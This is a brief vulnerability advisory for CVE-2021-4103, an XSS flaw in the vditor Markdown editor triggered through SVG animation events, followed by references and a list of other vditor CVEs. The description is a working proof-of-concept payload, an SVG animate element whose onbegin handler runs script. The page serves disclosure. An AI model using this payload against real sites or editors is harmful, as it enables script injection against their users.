vditor Vulnerable to Cross-site Scripting in SVG events

Description

</a>
<svg><animate onbegin=alert(11) attributeName=x dur=1s>

References

• nvd.nist.gov/vuln/detail/CVE-2021-4103 · ADVISORY
• Vanessa219/vditor · WEB
• vanessa219/vditor commit 8d4d088 · WEB
• vanessa219/vditor · PACKAGE
• huntr.dev/bounties/67b980af-7357-4879-9448-a926c6474225 · WEB

vditor 的其他漏洞

• CVE-2024-39150中危 5.9vditor v.3.9.8 and before is vulnerable to Arbitrary file read via a crafted data packet.
• CVE-2024-34449中危 6.1Vditor 3.10.3 allows XSS via an attribute of an A element. NOTE: the vendor indicates that a user is supposed to mitigate this via sanitize=…
• CVE-2021-32855中危 6.1Vditor is a browser-side Markdown editor. Versions prior to 3.8.7 are vulnerable to copy-paste cross-site scripting (XSS). For this particul…
• CVE-2022-0350中危 5.4Cross-site Scripting (XSS) - Stored in GitHub repository vanessa219/vditor prior to 3.8.13.
• CVE-2022-0341中危 5.4Cross-site Scripting (XSS) - Stored in GitHub repository vanessa219/vditor prior to 3.8.12.